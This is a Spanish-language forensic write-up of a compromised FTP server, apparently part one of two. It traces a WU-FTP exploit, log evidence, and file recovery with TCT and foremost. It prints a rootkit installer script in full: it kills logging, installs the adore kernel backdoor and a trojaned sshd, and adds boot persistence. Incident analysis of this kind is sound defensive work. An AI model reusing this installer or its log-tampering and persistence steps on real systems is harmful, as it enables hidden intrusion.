Este artículo presenta el estudio del compromiso de un servidor de una compañia. Se analizará el ataque y otras acciones del intruso. Se exponen también algunas lecciones para el diseño e implementación de la seguridad en este caso (tratado en la segunda parte del artículo). La investigación forense llevada a cabo y sus resultados también serán tratados. El artículo proporciona una oportunidad de seguir el rastro a la respuesta ante un incidente real.
Ejemplo.com - una empresa media de venta online al por menor de hardware de computadoras - comprende el valor de la seguridad en la red y en los PCs, ya que sus negocios dependen de la confianza y seguridad de las transacciones online. Su red interna y su configuración de la DMZ (Zona DesMilitarizada) fué diseñada pensando en la seguridad, verificada por expertos ajenos a la empresa, protegido por lo último en tecnología y monitorizado usando herramientas avanzadas de auditoría basadas en conjuntos de huellas/firmas. Siguiendo la filosofía de una defensa profunda, se utilizaban dos cortafuegos diferentes y dos sistemas de detección de intrusos diferentes. La configuración de la DMZ era del tipo host bastión con un cortafuegos separando la DMZ de la hostil Internet y otro protegiendo las redes internas de Internet o la DMZ. Dos NIDS estaban capturando el tráfico en la DMZ. En la DMZ la compañía había reunido un conjunto de servidores estándar (todos sobre alguna versión de UNIX o Linux): web, correo electrónico, servidores DNS y también un servidor FTP dedicado, utilizado para distribuir controladores de dispositivos hardware para el inventario de la compañía. El servidor FTP, usando una RedHat 7.2, es el protagonista de este texto. Este servidor fué la última incorporación a la red de la compañía.
Vamos a aclarar algo más la configuración de la DMZ, ya que esta provee una explicación de porqué el ataque tomó un determinado camino. El cortafuegos exterior implementaba servicios NAT y sólo permitía el acceso a un número mínimo de puertos a cada equipo de la DMZ. Evidentemente, eran el puerto 80 en el servidor web, el puerto 25 TCP en el servidor de correo, puerto 53 TCP y UDP en el servidor DNS y los puertos apropiados (21,20) en el servidor FTP. No se permitían conexiones salientes desde las máquinas de la DMZ. El cortafuegos interno bloqueaba todas las conexiones desde la DMZ a la LAN interna (sin excepciones) y permitía conexiones originadas desde la LAN interna a las máquinas de la DMZ (sólo a puertos específicos para mantenimiento y configuración). El segundo cortafuegos también trabajaba como proxy a nivel de aplicación para web y otro tipo de tráfico (no se permitían conexiones directas a Internet desde la LAN interna). Además, cada máquina de la DMZ fué reforzada ejecutando un cortafuegos a nivel de host, permitiendo sólo conexiones en el mismo número mínimo de puertos desde el exterior más un puerto para mantenimiento remoto desde la LAN interna y NO desde otras máquinas de la DMZ. Aunque sería imprudente decir que su infraestructura era infranqueable, es bastante razonable decir que era "mejor que la mayoría".
El Lunes por la mañana, el equipo de soporte de la compañía fué alertado por un cliente que estaba intentando descargar una actualización de un controlador de dispositivos. Informaba que el servidor FTP "no respondía" a sus intentos de conexión. Al fallar el intento de acceso al servidor FTP de forma remota a través de ssh, el miembro del equipo de soporte se dirigió a la habitación del servidor para descubrir que la máquina se había colgado y no podía arrancar. La razón era simple - no se encontró ningún sistema operativo.
Llegados a este punto, su plan de respuesta a incidentes se puso en marcha. Aunque el servidor FTP no era crítico en cuanto a valor económico, se decidió completar la investigación antes de reestablecer el servidor utilizando otros canales temporalmente para la distribución de software. El principal propósito de la investigación era aprender del ataque para asegurar el servidor ante una repetición del mismo. En segundo lugar quedó el trazar las acciones del intruso.
La principal prueba para mi investigación era un disco duro de 20 Gb. No fué posible obtener datos forenses en vivo ya que la máquina se había colgado. Aparte de esto, teníamos los registros del cortafuegos y del IDS, agrupados gracias al software de netForensics ( http://www.netForensics.com).
La investigación se empezó revisando los patrones de tráfico. Lo que más nos llamó la atención fué un informe del IDS con 3 eventos de alta prioridad (recent WU-FTP attack at about 02:29 on April 1 ). Parece que las firmas del IDS habían sido actualizadas con el patrón del nuevo ataque, mientras que el software del servidor FTP no. Considerando la infraestructura de la red, esperábamos que no huebieran más sorpresas. Las había: el syslog en el servidor FTP no estaba configurado para el registro remoto. Así que, no había más información de primera mano en el propio servidor.
Analizando la conexión de la máquina que lanzó el ataque, se encontró lo siguiente:
El último punto fué otra desagradable sorpresa. ¿Cómo pudo el intruso subir un fichero? Se preguntó al administrador del sistema de la compañía y salió la verdad: el servidor FTP tenía un directorio con permisos de escritura para que los clientes subieran ficheros para la resolución de problemas hardware. Las escrituras anónimas eran posibles en el directorio "incoming" y estaba configurado de la forma más insegura posible: los usuarios anónimos podían leer cualquier fichero subido por otra gente. Entre otras cosas, esto presenta un riesgo de que el servidor FTP se use para guardar programas piratas desde terceras partes.
Después de la parte del análisis de la red (fué fácil gracias a la capacidad de asociación avanzada de datos de netForensics) era la hora del análisis forense del disco duro. El disco contenía tres particiones, "/", "/usr" y "/home". Después de conectar el disco a una estación de trabajo forense, se tomaron imágenes de todas las particiones:
dd if=/dev/hdc1 of=/home/hacked-ftp-hdc1(y lo mismo para las otras dos particiones)
Montamos las particiones
mount -o ro,loop,noatime /home/hacked-ftp-hdc1 /mnt/hf-hdc1
nos encontramos con que todos los ficheros habían sido borrados
Entonces, se decidió buscar fragmentos de los registros (originalmente en /var/log) para confirmar la naturaleza del ataque. El comando
strings /home/hacked-ftp-hdc1 | grep 'Apr 1'
tardó bastante al ejecutarse en una partición de 2Gb. Devolvió los siguientes fragmentos del registro de mensajes, el de acceso de red y el de transferencias FTP (por suerte, el servidor FTP utilizaba registro detallado de todas las transferencias):
Registro de sistema:
Apr 1 00:08:25 ftp ftpd[27651]: ANONYMOUS FTP LOGIN FROM 192.168.2.3 [192.168.2.3], mozilla@ Apr 1 00:17:19 ftp ftpd[27649]: lost connection to 192.168.2.3 [192.168.2.3] Apr 1 00:17:19 ftp ftpd[27649]: FTP session closed Apr 1 02:21:57 ftp ftpd[27703]: ANONYMOUS FTP LOGIN FROM 192.168.2.3 [192.168.2.3], mozilla@ Apr 1 02:26:13 ftp ftpd[27722]: ANONYMOUS FTP LOGIN FROM 192.168.2.3 [192.168.2.3], mozilla@ Apr 1 02:29:45 ftp ftpd[27731]: ANONYMOUS FTP LOGIN FROM 192.168.2.3 [192.168.2.3], x@ Apr 1 02:30:04 ftp ftpd[27731]: Can't connect to a mailserver. Apr 1 02:30:07 ftp ftpd[27731]: FTP session closed
Esto indica que el intruso primero accedió desde un navegador (contraseña estándar @mozilla). Entonces supuestamente se ejecutó el exploit (contraseña x@). La linea sobre el servidor de correo parece realmente siniestra.
Apr 1 00:17:23 ftp xinetd[921]: START: ftp pid=27672 from=192.168.2.3 Apr 1 02:20:18 ftp xinetd[921]: START: ftp pid=27692 from=192.168.2.3 Apr 1 02:20:38 ftp xinetd[921]: EXIT: ftp pid=27672 duration=195(sec) Apr 1 02:21:57 ftp xinetd[921]: START: ftp pid=27703 from=192.168.2.3 Apr 1 02:21:59 ftp xinetd[921]: EXIT: ftp pid=27692 duration=101(sec) Apr 1 02:26:12 ftp xinetd[921]: EXIT: ftp pid=27703 duration=255(sec) Apr 1 02:26:13 ftp xinetd[921]: START: ftp pid=27722 from=192.168.2.3 Apr 1 02:29:40 ftp xinetd[921]: START: ftp pid=27731 from=192.168.2.3 Apr 1 02:30:07 ftp xinetd[921]: EXIT: ftp pid=27731 duration=27(sec)
Este registro muestra claramente que el intruso se tomó algo de tiempo examinando los directorios del servidor ftp.
Mon Apr 1 02:30:04 2002 2 192.168.2.3 262924 /ftpdata/incoming/mount.tar.gz b _ i a x@ ftp 0 * c
Vemos como ha subido algunas herramientas. Todas las descargas iniciadas desde el servidor a la máquina del intruso fallan debido a las reglas del cortafuegos exterior. Pero por ahora el intruso ya tiene permisos de administrador gracias al exploit.
Podemos extraer dos conclusiones de los datos anteriores. Primero, el servidor fué realmente comprometido desde fuera del perímetro, usando el reciente exploit FTP (vea http://online.securityfocus.com/bid/3581 y http://www.cert.org/advisories/CA-2001-33.html para más detalles) usando una máquina en 192.168.2.3 (dirección ficticia!). Segundo, el intruso se las arregló para poner algunos ficheros en la máquina víctima.
Sospechamos que el fichero "mount.tar.gz" contenía un rootkit. Nos interesamos por saber cómo lo había instalado y cuales eran sus características. Así que comenzaba la caza al rootkit.
Antes de sacar a la artillería pesada (p.ej. herramientas forenses), el fichero de cadenas (la salida de "strings /home/hacked-ftp-hdc1") se filtró con grep en busca de palabras interesantes. Otra forma productiva de encontrar cosas (sólo texto) es cargar el fichero de cadenas en su visualizador favorito (como "less") y entonces buscar palabras interesantes. El último método permite observar las cadenas que están cerca de la buscada.
La búsqueda de palabras fué sobre "mount.tar.gz", la IP del intruso (192.168.2.3), "incoming" (la ruta del directorio FTP) y algunas otras.
La siguiente prueba en aparecer fué un fragmento de un registro ncftp. NcFtp es un cliente FTP para UNIX/Linux, que mantiene su propio registro de conexiones salientes con el propósito de marcarlas para poder vovler a ellas fácilmente.
SESSION STARTED at: Mon Apr 1 02:21:17 2002
Program Version: NcFTP 3.0.3/635 April 15 2001, 05:49 PM
Library Version: LibNcFTP 3.0.6 (April 14, 2001)
Process ID: 27702
Platform: linux-x86
Uname: Linux|ftp|2.4.7-10|#1 Thu Sep 6 17:27:27 EDT 2001|i686
Hostname: localhost.localdomain (rc=4)
Terminal: dumb
00:21:17 Resolving 192.168.2.3...
00:21:17 Connecting to 192.168.2.3...
00:21:17 Could not connect to 192.168.2.3: Connection refused.
00:21:17 Sleeping 20 seconds.
Había bastantes mensajes de este tipo, indicador de la cantidad de intentos fallidos de conexión. Los datos de tráfico de netForensics también nos muestra al intruso intentando hacer ping a las máquinas exteriores (también inútil).
La siguiente búsqueda en el fichero de cadenas nos ofreció un resultado mucho más largo - una lista de ficheros del rootkit y los ficheros de instalación. Desafortunadamente, acaba siendo el punto más alto de la investigación.
Listado de ficheros del rootkit:
Seguidamente, mostramos un fichero completo de instalación del rootkit con comentarios añadidos (concretamente, el fichero a.sh de la lista anterior):
#!/bin/sh #seting paths PATH='.:~/bin:/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11/bin:/opt/bin:
/usr/local/sbin:/usr/local/bin:/usr/local/kde/bin:/usr/local/mysql/bin:
/opt/gnome/bin' #unseting the histifle unset HISTFILE export HISTFILE=/dev/null -- Se asegura de que no se escriba en el fichero de historia -- #making the directories echo '[Facem directoarele]' uname -r |awk '{print $1}'|while read input ;do mkdir /lib/modules/$input/.modinfo;done sleep 1 if [ -d /etc/sysconfig/console ];then echo 'Dir found' else mkdir /etc/sysconfig/console echo '/etc/sysconfig/console created' if [ -d /usr/info/.1 ];then echo 'Dir found' else mkdir /usr/info/.1 echo 'files dir created' sleep 1 -- Se prepara para la instalación -- #dezarhivam echo '[dezarhivam]' tar zxvf adore-0.42.tar.gz sleep 3 tar zxvf sshutils.tar.gz sleep 3 tar zxvf utils.tar.gz -- Descomprime los componentes, en Rumano es dezarhivam -- # read only logs until we finish chattr +ia /var/log/messages chattr +ia /varlog/secure chattr +ia /var/log/maillog chattr +ia /root/.bash_history #killing syslogs killall -9 syslogd killall -9 klogd -- Se asegura que no se va a escribir en los registros matando al proceso y activando el atributo 'inmutable' en los ficheros -- #copying ssh files/confs echo '[SSH part]' cd ../sshutils mv .napdf /etc/sysconfig/console/ mv .racd /etc/sysconfig/console/ mv .radd /etc/sysconfig/console/ mv .seedcf /etc/sysconfig/console/ mv nscd /usr/local/bin chown root.root /usr/local/bin/nscd cd /tmp/mount #starting ssh /usr/local/bin/nscd -q -- Arranca el proceso sshd troyanizado -- #kernel module cd /tmp/mount/adore ./configure make sleep 27 #copiem modulele uname -r |awk '{print $1}'|while read input ;do cp adore.o /lib/modules/$input/.modinfo/arpd.o;done uname -r |awk '{print $1}'|while read input ;do cp cleaner.o /lib/modules/$input/.modinfo/arpd-use.o;done uname -r |awk '{print $1}'|while read input ;do cp ava /lib/modules/$input/.modinfo/a;done #inseram modulele uname -r |awk '{print $1}'|while read input ;do /sbin/insmod /lib/modules/$input/.modinfo/arpd.o;done uname -r |awk '{print $1}'|while read input ;do /sbin/insmod /lib/modules/$input/.modinfo/arpd-use.o;done #hiding directories uname -r |awk '{print $1}'|while read input ;do /lib/modules/$input/.modinfo/a h /etc/sysconfig/console; doneuname -r |awk '{print $1}'|while read input ;do /lib/modules/$input/.modinfo/a h /usr/info/.1;done uname -r |awk '{print $1}'|while read input ;do /lib/modules/$input/.modinfo/a i `cat /etc/sysconfig/ console/.piddr`;done -- El LKM adore está desarrollado para esconder los recursos maliciosos del hacker -- #copiing boot file cd /tmp/mount cp randoms /etc/rc.d/init.d/ #next faze updatedb& sleep 1 cd /root chattr +ia .bash_history -- Crea un fichero de arranque y (por una extraña razón) actualiza las localizaciones de ficheros para la búsqueda (updatedb) -- #utils cd /tmp/mount/utils mv fsch2 /etc/cron.daily/ mv imp /usr/info/.1 mv slc /usr/info/.1 mv lil /usr/info/.1 mv sense /usr/info/.1 -- Herraminetas de DoS instaladas. Eh, nunca sabes qué puede estar al acecho en el cibermundo... Algunas herramientas no fueron identificadas (p.ej. fsch2) -- #sys configs echo '/usr/local/bin/nscd -q' >>/etc/rc.d/rc.sysinit echo '/etc/rc.d/init.d/randoms >/dev/null &' >>/etc/rc.d/rc.sysinit -- adore y el sshd con la puerta trasera iniciados al arrancar -- chattr +ia /etc/rc.d/rc.sysinit #ending uname -r |awk '{print $1}'|while read input ;do /lib/modules/$input/.modinfo/a u /tmp/mount/adore;done rm -rf /tmp/mount* /etc/rc.d/init.d/syslog start & sleep 5 chattr -ia /var/log/messages chattr -ia /var/log/secure chattr -ia /var/log/maillog echo 'DONE' -- elimina las pruebas y devuelve los registros a la normalidad --
Merece la pena mencionar que los comentarios del fichero de instalación del rootkit están en Rumano. Por alguna razón, muchos de los otros rootkit conocidos también son Rumanos (p.ej. http://project.honeynet.org/scans/scan18/som/som10.txt ).
La siguiente sección del fichero de cadenas contenía más ficheros de órdenes utilizados por el rootkit, cabeceras de las herramientas de denegación de servicio (imp flooder,slice DoS, búsquelas en packetstorm), analizador sintáctico para los registros de LinSniffer (otro viejo conocido de los script kiddies) y un trozo del código fuente de adore con la cabecera del autor intacta. Además, se encontró un fragmento de lo que parece ser un fichero de configuración del SSH troyanizado. En conjunto, resultó ser un rootkit bastante pobre, usando sólo componentes disponibles públicamente.
El siguiente objetivo era recuperar todos los ficheros del rootkit. Aunque ninguno de los componentes parece usar nuevas tecnologias de intrusión, todavía es de interés. Por ejemplo, el uso de una puerta trasera a nivel de núcleo (adore) de la que no se darán cuenta los administradores casuales.
Se usó The Coroner's toolkit, TCT (vea http://www.fish.com/tct/ y http://www.porcupine.org/forensics/tct.html) para buscar el rootkit. También probamos a usar una herramienta forense recientemente lanzada - TASK por Brian Carrier de @Stake. TASK es una mejora de TCT ya que integra tct-utils (que puede usarse para construir mejores trazas de actividad maliciosa) junto con la funcionalidad de TCT. TASK además se integra con autopsy, un navegador forense que proporciona un bonito interfaz para la navegación de ficheros, recuperación y creación de líneas de tiempo en múltiples imágenes de disco.
Desafortunadamente, la mayoría de las funcionalidades de TCT y TASK no funciona en una máquina Red Hat 7.2. Debido a ciertos cambios en el código del sistema de ficheros, los datos de los i-nodos (que se usan para recuperar ficheros) se ponen a cero. La ayuda del "Linux Undeletion HOWTO" (http://www.praeclarus.demon.co.uk/tech/e2-undel/html) y herramientas como recover (http://recover.sourceforge.net/linux/recover/), e2undel (http://e2undel.sourceforge.net/) basadas en el anterior CÓMO fallan al recuperar un único fichero. Utilidades excelentes se vuelven inservibles. Sin embargo, esto no es malo para mucha gente, excluyendo a los examinadores forenses, ya que los datos borrados probablemente deban permanecer borrados.
Afortunadamente, TCT también implementa una forma más costosa de recuperar los ficheros - y que funcionará sobre una Red Hat 7.2 con i-nodos puestos a cero. Unrm/lazarus proporciona una oportunidad de recuperar por lo menos algo.Lazarus busca en todos los bloques de disco, determina su tipo (como texto, correo, código C, binario, archivo u otra cosa) usando el comando file de UNIX. Además concatena bloques consecutivos del mismo tipo, asumiendo que son piezas del mismo fichero. Este algoritmo nos devolverá tanto texto como datos binarios.
Para ejecutar la herramienta, primero necesitamos crear un fichero que contenga todo el espacio no asignado de la partición:
./tct-1.09/bin/unrm /home/hacked-ftp-hdc1 > /home/hacked-ftp-hdc1.unrm
Entonces ejecutamos Lazarus:
./tct-1.09/lazarus/lazarus /home/hacked-ftp-hdc1.unrm
Necesita bastantes horas para procesar la partición de "Gb. Como resultado, se forman dos directorios: "blocks" contiene los ficheros recuperados (o sólo bloques), "www" contiene un mapa HTML de todos los ficheros recuperados (si se quiere, se puede visualizar la salida con un navegador).
En nuestra investigación estamos buscando un archivo que contenga el rootkit o alguno de sus componentes. Hay varias formas de analizar el directorio "blocks" (todas lentas, algunas insoportablemente lentas). Para buscar datos comprimidos con gzip hacemos:
find blocks -type f -print | xargs file {} | grep gzip > /home/hacked-ftp-hdc1.blocks-gzipped
También conocemos el tamaño del rootkit (encontrado en el fragmento del registro FTP de transferencias).
awk -F ':' '{print $1}' /home/hacked-ftp-hdc1.blocks-gzipped |
xargs -i ls -l {}
Desafortunadamente, no encontramos nada. Seguimos troceando y jugando con los datos, pero sin ningún resultado. Por ejemplo, vamos a ver un ejemplo para encontrar ficheros con código fuente C:
find blocks -type f -print | xargs file {} | grep 'C program text'
Nada relacionado con el incidente se encuentra con este y otros comandos.
Como último recurso, una nueva herramienta forense llamada foremost. Se ha lanzado recientemente [según se dice] por la Oficina de Investigaciones Especiales de la USAF. Foremost utiliza firmas binarias personalizables para buscar ficheros dentro de la imagen del disco. Creé una firma para la herramienta para buscar archivos GNU gzip ya que tento el rootkit como sus componentes (mostrados más abajo) eran todos archivos comprimidos con gzip y tar. ¡La herramienta hizo breillantemente su trabajo donde TCT había fallado!
Dos de los componentes del rootkit fueron recuperados (adore.tar.gz y utils.tar.gz). El kit adore contenía el LKM estándar v.0.42 (como el distribuido por TESO). El paquete utils.tar.gz contenía cinco binarios:
-rw-r--r-- 1 root root 14495 Jan 22 23:37 fsch2 -rwxr-xr-x 1 root root 8368 Aug 7 2000 imp -rwxr-xr-x 1 root root 7389 Jan 15 2001 lil -rwxr-xr-x 1 root root 4060 Jun 25 2000 sense -rwxr-xr-x 1 root root 15816 Oct 13 2000 slc
Imp y slc se identificaron como herramientas de DoS. Lil resultó ser un sniffer. Las cadenas que contiene coinciden con las mostradas en http://project.honeynet.org/papers/enemy3/. Sense era el analizador sintáctico en Perl de la salida del sniffer (encontrado antes al buscar las cadenas del disco entero). Fsch2 sigue siendo un misterio. En la instalación del rootkit se establece que se ejecute diariamente mediante cron. Tiene cadenas indicativas de conexión a la red ("socket", "bind", "listen", "accept", etc.), el siempre amenazador "/bin/sh" y una cadena que parece una contraseña. Debe ser algún tipo de puerta trasera.
Llegados a este punto, se cerró la investigación. Se notificó al ISP del intruso, que no emprendió niguna acción (práctica habitual). Sólo una de esas cuentas de acceso telefónico... En la segunda parte del artículo, discutiremos las lecciones de seguridad que este incidente nos enseña.